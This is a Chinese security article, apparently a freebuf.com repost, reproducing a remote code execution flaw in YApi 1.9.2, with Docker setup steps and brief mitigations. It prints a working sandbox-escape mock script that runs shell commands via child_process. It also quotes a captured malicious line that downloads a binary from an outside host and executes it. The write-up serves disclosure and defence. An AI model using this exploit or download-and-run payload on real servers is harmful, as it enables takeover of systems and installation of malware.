YApi远程代码执行漏洞复现分析 – 作者:天翼云安全研究

发现运行YApi的服务器上出现恶意进程,通过研究受害机器并根据YApi在github上的讨论内容进行溯源分析,发现了rce漏洞并做了复现。

YAPI 部署

先通过docker部署一下漏洞复现环境。

1.构建镜像

本文所使用的YApi版本为1.9.2,为当前最新版本
首先需要构造YApi的docker镜像,创建文件Dockerfile并写入以下内容:

FROM node:12-alpine as builder
WORKDIR /yapi
RUN apk add --no-cache wget python make
ENV VERSION=1.9.2
RUN wget https://github.com/YMFE/yapi/archive/v1.9.2.zip
RUN unzip v1.9.2.zip && mv yapi-1.9.2 vendors
RUN cd /yapi/vendors && cp config_example.json ../config.json && npm install --production --registry https://registry.npm.taobao.org

FROM node:12-alpine

ENV TZ="Asia/Shanghai"
WORKDIR /yapi/vendors
COPY --from=builder /yapi/vendors /yapi/vendors
EXPOSE 3000
ENTRYPOINT ["node"]

然后在Dockerfile统计目录下运行下面命令构建镜像:

docker build -t yapi .

在docker管理中心得到刚创建的yapi镜像!1.png

2.部署 mongodb

在宿主机上创建用于实验的宿主目录,如/Users/test/yapi-test
在宿主目录下创建/data1/yapi/mongo作为mongo的文件目录。
通过docker创建mangodb容器,作为YApi的数据库。

docker run -d \
  -p 27017:27017 \
  --restart=always \
  --name mongo-yapi \
  -v 【宿主目录】/data1/yapi/mongo:/data/db \
  -e MONGO_INITDB_ROOT_USERNAME=test \
  -e MONGO_INITDB_ROOT_PASSWORD=test@#1 \
  mongo --auth

3.初始化数据库

在步骤2创建的宿主目录下的/data1/yapi/conf创建文件config.json,并写入以下内容,用于指导mongodb数据库初始化:

{
  "port": "3000",
  "adminAccount": "[email protected]",
  "timeout": 120000,
  "db": {
    "servername": "【宿主机的内网IP,不能是localhost】",
    "DATABASE": "yapi",
    "port": 27017,
    "user": "test",
    "pass": "test@#1",
    "authSource": "admin"
  }
}

运行docker命令,对mongodb容器进行初始化:

docker run -it --rm \
  --entrypoint npm \
  --workdir /yapi/vendors \
  -v 【宿主目录】/data1/yapi/conf/config.json:/yapi/config.json \
  yapi \
  run install-server

4.启动yapi

docker run -d \
  --name yapi \
  --restart=always \
  --workdir /yapi/vendors \
  -p 3000:3000 \
  -v 【宿主目录】/data1/yapi/conf/config.json:/yapi/config.json \
  yapi \
  server/app.js

远程执行漏洞复现

通过本地3000端口访问YApi主页,并可通过在config.json中配置的用户名和默认密码ymfe.org进行登录。
YApi首页

恶意脚本

  1. 创建项目

  2. 创建接口

为接口配置全局mock脚本,内容如下:

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()

恶意Mock脚本

触发

在接口详情页,点击Mock地址即可触发方才配置的Mock脚本。
2.png
从页面的返回信息可以得知Mock脚本中的shell命令已经得到执行。
恶意shell执行结果
文中示例的Mock脚本中恶意shell命令打印了自进程的信息,至于把shell命令替换为wget就可以从远程下载恶意软件并执行。贴一个中招的恶意代码。

mockJson = process.mainModule.require("child_process").execSync("id;wget http://2w.kacdn.cn/20000;chmod 777 20000;./20000").toString()

补救措施

长远的措施当然是等开发者把漏洞修复了然后更新上去。
临时的措施可以关闭注册或对注册链接做访问限制,避免恶意用户的进入。

转载说明

转载需注明出处,禁止商业利用及恶意利用文章内容。

来源:freebuf.com 2021-07-07 21:24:16 by: 天翼云安全研究

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论